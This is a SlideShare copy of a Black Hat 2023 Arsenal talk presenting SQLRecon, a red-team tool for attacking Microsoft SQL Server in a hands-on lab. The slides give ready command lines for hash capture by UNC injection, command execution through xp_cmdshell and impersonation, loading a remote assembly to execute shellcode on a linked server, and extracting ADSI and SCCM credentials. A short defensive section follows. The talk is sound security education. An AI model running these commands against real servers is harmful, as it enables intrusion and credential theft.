SlideShare a Scribd company logo

Black Hat USA Arsenal 2023: Abusing Microsoft SQL Server with SQLRecon

Sanjiv Kawa, profile picture
Sanjiv Kawa

The document presents a detailed overview of the SQLRecon tool developed by Sanjiv Kawa for attacking Microsoft SQL Server, including its functionalities, authentication options, and command line usage. It outlines various demos showcasing its capabilities such as privilege escalation, lateral movement, and command execution against SQL databases. The presentation emphasizes the importance of operational security while using the tool and encourages involvement in a hands-on lab environment.

Technology
Related topics:
Red Team
1 of 73
Download to read offline
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#BHUSA @BlackHatEvents Abusing Microsoft SQL Server with SQLRecon Sanjiv Kawa IBM X-Force Red Adversary Services
#BHUSA @BlackHatEvents Information Classification: General Senior Managing Security Consultant, Adversary Services at IBM X-Force Red - Red Team Operator / Adversary Simulation - Post-Exploitation Tool Developer - github.com/xforcered/SQLRecon Sanjiv Kawa @sanjivkawa github.com/skahwah Intro IBM X-Force Red
#BHUSA @BlackHatEvents Information Classification: General Agenda Microsoft SQL Server Overview 2 min SQLRecon Overview 4 min 10 Demos! 20 min - Enumeration - Standard Modules - Attacking MS SQL Server with Low Privileges - Abusing MS SQL Impersonation - Attacking Linked MS SQL Servers - Attacking MS MECM / SCCM Databases Defensive Considerations 3 min Questions 5 min
#BHUSA @BlackHatEvents Information Classification: General Get Involved! Hack with me Download the latest release of SQLRecon (v3.3) from github.com/skahwah/SQLRecon/releases Spin up a Windows VM Connect to SSID SQLRecon-Lab, don’t worry, it’s safe Connection details will be provided before demo’s
#BHUSA @BlackHatEvents Information Classification: General Microsoft SQL Server Overview
#BHUSA @BlackHatEvents Information Classification: General MS SQL Server Overview Relational database which allows the storage and retrieval of data Deployed on-premise on top of Microsoft Server or in the cloud Used by businesses of all sizes, not just large enterprise networks Tightly integrated into Active Directory / Azure Active Directory
#BHUSA @BlackHatEvents Information Classification: General Why Attack MS SQL Server? Often overlooked Often misconfigured BUILTINUsers can connect to MS SQL Server by default, and: - Execute basic SQL commands - Determine privileges via user mapping/roles - UNC Path injection - Piggyback off rights to compromise linked SQL servers
#BHUSA @BlackHatEvents Information Classification: General Why Attack MS SQL Server? In late 2022, Kaspersky reported seeing a 56% rise in MS SQL Server attacks
#BHUSA @BlackHatEvents Information Classification: General SQLRecon Overview
#BHUSA @BlackHatEvents Information Classification: General What’s currently available? A good amount of offensive MS SQL Sever tools already exist
#BHUSA @BlackHatEvents Information Classification: General How did this research come about? Like most tooling … to solve a problem encountered on an engagement PowerShell is good, but C# is better when evading modern defensive controls Address the MS SQL Server C# post-exploitation tooling gap - Modernize the approach red teamers can take when facing MS SQL Server - Operational Security - Execution Guardrails - SQLRecon works with a diverse set of C2 frameworks - Fork & Run and In-Process compatible
#BHUSA @BlackHatEvents Information Classification: General New Features for Black Hat SQLRecon v2.2.2 - Windows Token - Local Database - AzureAD 3 Authentication Providers
#BHUSA @BlackHatEvents Information Classification: General New Features for Black Hat SQLRecon v2.2.2 - Windows Token - Local Database - AzureAD 3 Authentication Providers SQLRecon v3.3 + Windows Domain + Azure Local Database 5 Authentication Providers
#BHUSA @BlackHatEvents Information Classification: General New Features for Black Hat SQLRecon v2.2.2 - Enumerate and Query MS SQL databases - Execute arbitrary operating system commands - Abuse impersonation - Attack linked MS SQL servers 57 Modules
#BHUSA @BlackHatEvents Information Classification: General New Features for Black Hat SQLRecon v2.2.2 - Enumerate and Query MS SQL databases - Execute arbitrary operating system commands - Abuse impersonation - Attack linked MS SQL servers 57 Modules SQLRecon v3.3 + Ground up rewrite using MS C#/.NET code guide + Many new enumeration and execution modules + Support for attacking MECM / SCCM Databases + Better OPSEC and execution guardrails + Brand new wiki + And more! 83 Modules
#BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments:
#BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type SQLRecon.exe /Auth:WinToken
#BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type - The hostname or IP address for a MS SQL Server SQLRecon.exe /Auth:WinToken /Host:SQL01
#BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type - The hostname or IP address for a MS SQL Server - A module SQLRecon.exe /Auth:WinToken /Host:SQL01 /Module:databases
#BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type - The hostname or IP address for a MS SQL Server - A module Example: Enumerating databases on a remote MS SQL Server. SQLRecon.exe /Auth:WinToken /Host:SQL01 /Module:databases
#BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type - The hostname or IP address for a MS SQL Server - A module Example: Enumerating databases on a remote MS SQL Server SQLRecon.exe /Auth:WinToken /Host:SQL01 /Module:databases Shortform command line arguments and case-insensitive SQLRecon.exe /a:wintoken /h:172.16.10.101 /m:databases
#BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers:
#BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module
#BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module WinDomain SQLRecon.exe /a:WinDomain /d:domain /u:user /p:pass /h:host /m:module
#BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module WinDomain SQLRecon.exe /a:WinDomain /d:domain /u:user /p:pass /h:host /m:module Local SQLRecon.exe /a:Local /u:user /p:pass /h:host /m:module
#BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module WinDomain SQLRecon.exe /a:WinDomain /d:domain /u:user /p:pass /h:host /m:module Local SQLRecon.exe /a:Local /u:user /p:pass /h:host /m:module AzureAD SQLRecon.exe /a:AzureDomain /d:domain /u:user /p:pass /h:host /m:module
#BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module WinDomain SQLRecon.exe /a:WinDomain /d:domain /u:user /p:pass /h:host /m:module Local SQLRecon.exe /a:Local /u:user /p:pass /h:host /m:module AzureAD SQLRecon.exe /a:AzureDomain /d:domain /u:user /p:pass /h:host /m:module AzureLocal SQLRecon.exe /a:AzureLocal /u:user /p:pass /h:host /m:module
#BHUSA @BlackHatEvents Information Classification: General Module Overview SQLRecon has 83 different modules which can be used against MS SQL Server in a variety of scenarios Listed below are modules that can facilitate with privilege escalation, lateral movement, or command execution: Module Privilege Escalation Lateral Movement Command Execution xp_cmdshell ✅ ✅ ✅ OLE Automation Procedures ✅ ✅ ✅ CLR Integration for Custom .NET Assemblies ✅ ✅ ✅ Agent Jobs ✅ ✅ ✅ Cleartext ADSI Credential Retrieval ✅ MECM / SCCM User Management ✅ Cleartext MECM / SCCM Credential Retrieval ✅
#BHUSA @BlackHatEvents Information Classification: General Demo Time
#BHUSA @BlackHatEvents Information Classification: General Get Involved! Rules Don’t DoS the lab. We’re all here to learn together. Don’t attack each other. We’re all here to learn together. You can attack AD and AAD if you want, but I promise you, it’s not going to get you anything.
#BHUSA @BlackHatEvents Information Classification: General Get Involved! WiFi SSID: SQLRecon-Lab Password: SQLReconBH2023! Lab DC01 172.16.10.100 SQL01 172.16.10.101 SQL02 172.16.10.102 SQL03 172.16.10.104 MECM01 172.16.10.103 ecom01.database.windows.net Test Connection String SQLRecon.exe /a:WinDomain /d:kawalabs /u:jsmith /p:Password123 /h:172.16.10.101 /m:whoami Rules Don’t DoS the lab. We’re all here to learn together. Don’t attack each other. We’re all here to learn together. You can attack AD and AAD if you want, but I promise you, it’s not going to get you anything.
#BHUSA @BlackHatEvents Information Classification: General Demo 1 Evaluating the current user’s permissions
#BHUSA @BlackHatEvents Information Classification: General Demo 1
#BHUSA @BlackHatEvents Information Classification: General Demo 1 Recap - Used the whoami command to determine the permissions for the current user - Determined that KAWALABSJSmith is a Domain User in the KAWALABS.LOCAL domain.
#BHUSA @BlackHatEvents Information Classification: General Demo 2 Locating MS SQL Servers in AD via SPNs
#BHUSA @BlackHatEvents Information Classification: General Demo 2
#BHUSA @BlackHatEvents Information Classification: General Demo 2 Recap - Used SQLRecon to connect to AD in context of KAWLABSJSmith and locate MS SQL Servers via registered SPNs - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and gather MS SQL Server information SQLRecon.exe /e:SQLSpns /d:kawalabs.local SQLRecon.exe /a:WinToken /h:SQL02 /m:info
#BHUSA @BlackHatEvents Information Classification: General Demo 3 Enumerating Azure MS SQL Server Database
#BHUSA @BlackHatEvents Information Classification: General Demo 3
#BHUSA @BlackHatEvents Information Classification: General Demo 3 Recap - Used SQLRecon to connect to an Azure MS SQL Server instance in context of KAWLABSJSmith and list permissions - Used SQLRecon to connect to an Azure MS SQL Server instance in context of KAWLABSJSmith and list databases - Performed an ad-hoc SQL query to obtain the contents of the cc table in the Payments database SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:Password123 /h:ecom01.database.windows.net /m:whoami SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:Password123 /h:ecom01.databases.windows.net /m:databases SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:Password123 /h:ecom01.databases.windows.net /database:Payments /m:query /c:”select * from cc”
#BHUSA @BlackHatEvents Information Classification: General Demo 4 Unprivileged UNC Path Injection
#BHUSA @BlackHatEvents Information Classification: General Demo 4
#BHUSA @BlackHatEvents Information Classification: General Demo 4 Recap - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and initiate an SMB request to receive a NetNTLMv2 hash SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:172.16.10.19Projects
#BHUSA @BlackHatEvents Information Classification: General Demo 5 Operational Security and Execution Guardrails
#BHUSA @BlackHatEvents Information Classification: General Demo 5
#BHUSA @BlackHatEvents Information Classification: General Demo 5 Recap - Used SQLRecon to connect to SQL01 in context of KAWLABSJSmith and attempted to execute commands via xp_cmdshell - Attempted to enable xp_cmdshell on SQL01 in context of KAWLABSJSmith - As expected, KAWLABSJSmith encounters an execution guardrail on SQL01 due to insufficient privileges SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXP
#BHUSA @BlackHatEvents Information Classification: General Demo 6 Privilege Escalation: Abusing Impersonation BUILTINUsers can impersonate sa!
#BHUSA @BlackHatEvents Information Classification: General Demo 6 Privilege Escalation: Abusing Impersonation
#BHUSA @BlackHatEvents Information Classification: General Demo 6
#BHUSA @BlackHatEvents Information Classification: General Demo 6 Recap - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and enumerate accounts that can be impersonated - Enabled OLE Automation Procedures on SQL02 via impersonation - Executed an arbitrary command using OLE Automation Procedures on SQL02 by abusing impersonation SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:”powershell.exe ls 172.16.10.19Projects”
#BHUSA @BlackHatEvents Information Classification: General Demo 6 Recap - Enabled xp_cmdshell on SQL02 via impersonation - Executed an arbitrary command using xp_cmdshell on SQL02 by abusing impersonation - Practiced good OPSEC by reverting OLE Automation Procedures and xp_cmdshell on SQL02 to the original state SQLRecon.exe /a:WinToken /h:SQL02 /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
#BHUSA @BlackHatEvents Information Classification: General Demo 7 Lateral Movement: Abusing Linked MS SQL Servers SQL02 has an MS SQL Server link to SQL03
#BHUSA @BlackHatEvents Information Classification: General Demo 7 Lateral Movement: Abusing Linked MS SQL Servers
#BHUSA @BlackHatEvents Information Classification: General Demo 7 Lateral Movement: Abusing Linked MS SQL Servers - CLR Integration allows custom .NET assemblies to be imported into MS SQL Server - Assemblies get stored inside a SQL database Stored Procedure - You can then execute whatever is inside the custom assembly!
#BHUSA @BlackHatEvents Information Classification: General Demo 7 Lateral Movement: Abusing Linked MS SQL Servers Basic Template: gist.github.com/skahwah/c92a8ce41f529f40c14715c91b8f90ce Process Hollowing: gist.github.com/skahwah/a585e176e4a5cf319b0c759637f5c410 // sql.cs // C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempsql.cs using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Diagnostics; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void CustomFunctionName() { Process proc = new Process(); proc.StartInfo.FileName = "C:WindowsSystem32notepad.exe"; proc.Start(); } }
#BHUSA @BlackHatEvents Information Classification: General Demo 7
#BHUSA @BlackHatEvents Information Classification: General Demo 7 Recap - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and enumerate linked MS SQL Server - Listed permissions on SQL03 after riding the MS SQL Server link via SQL02 - Enabled CLR Integration on SQL03 via SQL02 - Downloaded a custom .NET CLR assembly via HTTPS and executed it on SQL03 via SQL02 in order to laterally move SQLRecon.exe /a:WinToken /h:SQL02 /m:links SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
#BHUSA @BlackHatEvents Information Classification: General Demo 8 Credential Abuse: ADSI Double-Link Boomerang SQL03 has an ADSI link to DC01
#BHUSA @BlackHatEvents Information Classification: General Demo 8 Credential Abuse: ADSI Double-Link Boomerang
#BHUSA @BlackHatEvents Information Classification: General Demo 8
#BHUSA @BlackHatEvents Information Classification: General Demo 8 Recap - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and enumerate links on SQL03 - Started a local LDAP server on SQL03 via SQL02 an obtained the cleartext credential for the account used to link SQL03 to DC01 SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
#BHUSA @BlackHatEvents Information Classification: General Demo 9 SCCM / MECM Enumeration
#BHUSA @BlackHatEvents Information Classification: General Demo 9
#BHUSA @BlackHatEvents Information Classification: General Demo 9 Recap - Used SQLRecon to connect to the database of MECM01 and list databases - Enumerated users who are authorized to authenticate against SCCM - Listed tasks configured in SCCM SQLRecon.exe /a:WinToken /h:MECM01 /m:databases SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sTaskList
#BHUSA @BlackHatEvents Information Classification: General Demo 10 Privilege Escalation: SCCM / MECM
#BHUSA @BlackHatEvents Information Classification: General Demo 10
#BHUSA @BlackHatEvents Information Classification: General Demo 10 Recap - Used SQLRecon to connect to the database of MECM01 and list vaulted credentials - Decrypted SCCM vaulted credentials (shout out to Adam Chester @_xpn_) SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
#BHUSA @BlackHatEvents Information Classification: General Defensive Considerations
#BHUSA @BlackHatEvents Information Classification: General Defensive Considerations Check out the Wiki for comprehensive Prevention, Detection and Mitigation guidance! github.com/xforcered/SQLRecon/wiki
#BHUSA @BlackHatEvents Information Classification: General Defensive Considerations Top 3 Network Security Controls - Account for network routes to MS SQL Server - Limit routes to only authorized set of systems/subnets - Ensure you are receiving telemetry via network logging and monitoring tools github.com/xforcered/SQLRecon/wiki
#BHUSA @BlackHatEvents Information Classification: General Defensive Considerations Top 3 Endpoint Security Controls - Regularly control tune your EDR solutions - Evaluate if your host-based security controls (EDR / AV) supports scanning of .NET assemblies in memory - Application allow listing github.com/xforcered/SQLRecon/wiki
#BHUSA @BlackHatEvents Information Classification: General Defensive Considerations Top 3 MS SQL Server Security Controls - Follow the Microsoft SQL Server security best practices - Consider removing or restricting the BUILTINUsers account and low privilege groups from authenticating against MS SQL Server instances - Evaluate impersonation and MS SQL Server links github.com/xforcered/SQLRecon/wiki
#BHUSA @BlackHatEvents Information Classification: General @sanjivkawa github.com/skahwah Thank You IBM X-Force Red @xforcered github.com/xforcered/SQLRecon Question or Comments?

More Related Content

PDF
La sicurezza dei sistemi di elaborazione e delle reti informatiche.
gmorelli78
 
PDF
Enterprise Security Architecture for Cyber Security
The Open Group SA
 
PDF
Cis controls v8_guide (1)
MHumaamAl
 
PDF
La navigazione sicura nel web
gmorelli78
 
PPTX
Integrated Tools in OSSIM
AlienVault
 
PPT
Ethical Hacking and Penetration Testing
Rishabh Upadhyay
 
PDF
Web Application Security 101
Cybersecurity Education and Research Centre
 
DOCX
Kali Linux Hakkında Herşey
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
La sicurezza dei sistemi di elaborazione e delle reti informatiche.
gmorelli78
 
Enterprise Security Architecture for Cyber Security
The Open Group SA
 
Cis controls v8_guide (1)
MHumaamAl
 
La navigazione sicura nel web
gmorelli78
 
Integrated Tools in OSSIM
AlienVault
 
Ethical Hacking and Penetration Testing
Rishabh Upadhyay
 
Web Application Security 101
Cybersecurity Education and Research Centre
 
Kali Linux Hakkında Herşey
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 

What's hot (20)

PDF
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
BGA Cyber Security
 
PDF
Présentation ELK/SIEM et démo Wazuh
Aurélie Henriot
 
ODP
Sicurezza Informatica
Mario Varini
 
PPT
Application Security
Reggie Niccolo Santos
 
PDF
Vulnerability Assessment and Penetration Testing Report
Rishabh Upadhyay
 
PDF
CIS Security Benchmark
Rahul Khengare
 
PDF
OWASP Top Ten in Practice
Security Innovation
 
PPTX
Ethical hacking/ Penetration Testing
ANURAG CHAKRABORTY
 
PPTX
CISO's first 100 days
MichaelSadeghiPhDABD
 
PDF
10 Adımda Sızma Testleri
BGA Cyber Security
 
PDF
MITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITRE
MITRE - ATT&CKcon
 
PPTX
Layer8 Con - Beyond Influence Techniques: Broadening your Social Engineering ...
Christina Lekati
 
DOCX
Content Delivery Network – CDN
Ahmed Banafa
 
PPTX
What is Ransomware
jeetendra mandal
 
PDF
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
BGA Cyber Security
 
PPTX
Zero Trust Security / Sécurité Zéro Confiance
Excelerate Systems
 
PPTX
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
BGA Cyber Security
 
PPTX
Cybersecurity Awareness Training
Dave Monahan
 
PDF
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
Sanjiv Kawa
 
PPTX
Bsides Knoxville - OSINT
Adam Compton
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
BGA Cyber Security
 
Présentation ELK/SIEM et démo Wazuh
Aurélie Henriot
 
Sicurezza Informatica
Mario Varini
 
Application Security
Reggie Niccolo Santos
 
Vulnerability Assessment and Penetration Testing Report
Rishabh Upadhyay
 
CIS Security Benchmark
Rahul Khengare
 
OWASP Top Ten in Practice
Security Innovation
 
Ethical hacking/ Penetration Testing
ANURAG CHAKRABORTY
 
CISO's first 100 days
MichaelSadeghiPhDABD
 
10 Adımda Sızma Testleri
BGA Cyber Security
 
MITRE ATT&CKcon 2.0: ATT&CK Updates - TRAM; Jackie Lasky and Sarah Yoder, MITRE
MITRE - ATT&CKcon
 
Layer8 Con - Beyond Influence Techniques: Broadening your Social Engineering ...
Christina Lekati
 
Content Delivery Network – CDN
Ahmed Banafa
 
What is Ransomware
jeetendra mandal
 
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
BGA Cyber Security
 
Zero Trust Security / Sécurité Zéro Confiance
Excelerate Systems
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
BGA Cyber Security
 
Cybersecurity Awareness Training
Dave Monahan
 
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
Sanjiv Kawa
 
Bsides Knoxville - OSINT
Adam Compton
 
Ad

Similar to Black Hat USA Arsenal 2023: Abusing Microsoft SQL Server with SQLRecon (20)

PDF
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
Gabriel Mathenge
 
PDF
SQL Injection
Abhinav Nair
 
PPTX
Ultimate Free SQL Server Toolkit
Kevin Kline
 
PPT
SQL Server Security - Attack
webhostingguy
 
PPTX
Sqlmap
SiddharthWagh7
 
PPT
Secure SDLC for Software
Shreeraj Shah
 
PDF
Service Virtualization: What Testers Need to Know
TechWell
 
PDF
Tech f43
SelectedPresentations
 
PDF
BSides Roma 2018 - Red team techniques
Guglielmo Scaiola
 
PDF
Beyond the Pentest: How C2, Internal Pivoting, and Data Exfiltration Show Tru...
Beau Bullock
 
PPTX
TechEd Africa 2011 - OFC308: SharePoint Security in an Insecure World: Unders...
Michael Noel
 
PPTX
DevOps and the Future of Enterprise Security
Frank Kim
 
PPTX
Security For Application Development
6502programmer
 
ODP
Web Security
Chatree Kunjai
 
PPTX
Application of Machine Learning in Cybersecurity
Pratap Dangeti
 
PDF
Internal penetration test_hitchhackers_guide
Darin Fredde
 
PPT
SQLSecurity.ppt
LokeshK66
 
PPT
SQLSecurity.ppt
CNSHacking
 
PPT
Jan 2008 Allup
llangit
 
PPTX
It's a Dangerous World
MongoDB
 
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
Gabriel Mathenge
 
SQL Injection
Abhinav Nair
 
Ultimate Free SQL Server Toolkit
Kevin Kline
 
SQL Server Security - Attack
webhostingguy
 
Sqlmap
SiddharthWagh7
 
Secure SDLC for Software
Shreeraj Shah
 
Service Virtualization: What Testers Need to Know
TechWell
 
Tech f43
SelectedPresentations
 
BSides Roma 2018 - Red team techniques
Guglielmo Scaiola
 
Beyond the Pentest: How C2, Internal Pivoting, and Data Exfiltration Show Tru...
Beau Bullock
 
TechEd Africa 2011 - OFC308: SharePoint Security in an Insecure World: Unders...
Michael Noel
 
DevOps and the Future of Enterprise Security
Frank Kim
 
Security For Application Development
6502programmer
 
Web Security
Chatree Kunjai
 
Application of Machine Learning in Cybersecurity
Pratap Dangeti
 
Internal penetration test_hitchhackers_guide
Darin Fredde
 
SQLSecurity.ppt
LokeshK66
 
SQLSecurity.ppt
CNSHacking
 
Jan 2008 Allup
llangit
 
It's a Dangerous World
MongoDB
 
Ad

Recently uploaded (20)

PDF
Zenith AI: Advanced Artificial Intelligence
Biz Preneurs
 
PDF
Hindi spoken digit analysis for native and non-native speakers
IAESIJAI
 
PDF
Encapsulation_ Review paper, used for researhc scholars
gurumoop
 
PDF
project resource management chapter-09.pdf
ssuser00e6e21
 
PDF
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
rameswartudu05
 
PDF
NewMind AI Weekly Chronicles - August'25-Week II
NewMind AI
 
PDF
Encapsulation theory and applications.pdf
gurumoop
 
PDF
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
PDCA Consulting
 
PPTX
Tartificialntelligence_presentation.pptx
ry7r52mzb4
 
PDF
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
Microsoft Dynamics
 
PDF
Getting Started with Data Integration: FME Form 101
Safe Software
 
PDF
A novel scalable deep ensemble learning framework for big data classification...
IAESIJAI
 
PDF
Enhancing emotion recognition model for a student engagement use case through...
IAESIJAI
 
PPTX
TLE Review Electricity (Electricity).pptx
JayPolicarpio2
 
PPTX
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
bonakiduza1024
 
PDF
Assigned Numbers - 2025 - Bluetooth® Document
Bloombase
 
PPTX
cloud_computing_Infrastucture_as_cloud_p
mainakbhattacharya20
 
PPTX
1. Introduction to Computer Programming.pptx
bonakiduza1024
 
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
David Malick Dieng
 
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
muhammadmuneebnaeem7
 
Zenith AI: Advanced Artificial Intelligence
Biz Preneurs
 
Hindi spoken digit analysis for native and non-native speakers
IAESIJAI
 
Encapsulation_ Review paper, used for researhc scholars
gurumoop
 
project resource management chapter-09.pdf
ssuser00e6e21
 
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
rameswartudu05
 
NewMind AI Weekly Chronicles - August'25-Week II
NewMind AI
 
Encapsulation theory and applications.pdf
gurumoop
 
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
PDCA Consulting
 
Tartificialntelligence_presentation.pptx
ry7r52mzb4
 
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
Microsoft Dynamics
 
Getting Started with Data Integration: FME Form 101
Safe Software
 
A novel scalable deep ensemble learning framework for big data classification...
IAESIJAI
 
Enhancing emotion recognition model for a student engagement use case through...
IAESIJAI
 
TLE Review Electricity (Electricity).pptx
JayPolicarpio2
 
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
bonakiduza1024
 
Assigned Numbers - 2025 - Bluetooth® Document
Bloombase
 
cloud_computing_Infrastucture_as_cloud_p
mainakbhattacharya20
 
1. Introduction to Computer Programming.pptx
bonakiduza1024
 
Digital-Transformation-Roadmap-for-Companies.pptx
David Malick Dieng
 
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
muhammadmuneebnaeem7
 

Black Hat USA Arsenal 2023: Abusing Microsoft SQL Server with SQLRecon

  • 1. #BHUSA @BlackHatEvents Abusing Microsoft SQL Server with SQLRecon Sanjiv Kawa IBM X-Force Red Adversary Services
  • 2. #BHUSA @BlackHatEvents Information Classification: General Senior Managing Security Consultant, Adversary Services at IBM X-Force Red - Red Team Operator / Adversary Simulation - Post-Exploitation Tool Developer - github.com/xforcered/SQLRecon Sanjiv Kawa @sanjivkawa github.com/skahwah Intro IBM X-Force Red
  • 3. #BHUSA @BlackHatEvents Information Classification: General Agenda Microsoft SQL Server Overview 2 min SQLRecon Overview 4 min 10 Demos! 20 min - Enumeration - Standard Modules - Attacking MS SQL Server with Low Privileges - Abusing MS SQL Impersonation - Attacking Linked MS SQL Servers - Attacking MS MECM / SCCM Databases Defensive Considerations 3 min Questions 5 min
  • 4. #BHUSA @BlackHatEvents Information Classification: General Get Involved! Hack with me Download the latest release of SQLRecon (v3.3) from github.com/skahwah/SQLRecon/releases Spin up a Windows VM Connect to SSID SQLRecon-Lab, don’t worry, it’s safe Connection details will be provided before demo’s
  • 5. #BHUSA @BlackHatEvents Information Classification: General Microsoft SQL Server Overview
  • 6. #BHUSA @BlackHatEvents Information Classification: General MS SQL Server Overview Relational database which allows the storage and retrieval of data Deployed on-premise on top of Microsoft Server or in the cloud Used by businesses of all sizes, not just large enterprise networks Tightly integrated into Active Directory / Azure Active Directory
  • 7. #BHUSA @BlackHatEvents Information Classification: General Why Attack MS SQL Server? Often overlooked Often misconfigured BUILTINUsers can connect to MS SQL Server by default, and: - Execute basic SQL commands - Determine privileges via user mapping/roles - UNC Path injection - Piggyback off rights to compromise linked SQL servers
  • 8. #BHUSA @BlackHatEvents Information Classification: General Why Attack MS SQL Server? In late 2022, Kaspersky reported seeing a 56% rise in MS SQL Server attacks
  • 10. #BHUSA @BlackHatEvents Information Classification: General What’s currently available? A good amount of offensive MS SQL Sever tools already exist
  • 11. #BHUSA @BlackHatEvents Information Classification: General How did this research come about? Like most tooling … to solve a problem encountered on an engagement PowerShell is good, but C# is better when evading modern defensive controls Address the MS SQL Server C# post-exploitation tooling gap - Modernize the approach red teamers can take when facing MS SQL Server - Operational Security - Execution Guardrails - SQLRecon works with a diverse set of C2 frameworks - Fork & Run and In-Process compatible
  • 12. #BHUSA @BlackHatEvents Information Classification: General New Features for Black Hat SQLRecon v2.2.2 - Windows Token - Local Database - AzureAD 3 Authentication Providers
  • 13. #BHUSA @BlackHatEvents Information Classification: General New Features for Black Hat SQLRecon v2.2.2 - Windows Token - Local Database - AzureAD 3 Authentication Providers SQLRecon v3.3 + Windows Domain + Azure Local Database 5 Authentication Providers
  • 14. #BHUSA @BlackHatEvents Information Classification: General New Features for Black Hat SQLRecon v2.2.2 - Enumerate and Query MS SQL databases - Execute arbitrary operating system commands - Abuse impersonation - Attack linked MS SQL servers 57 Modules
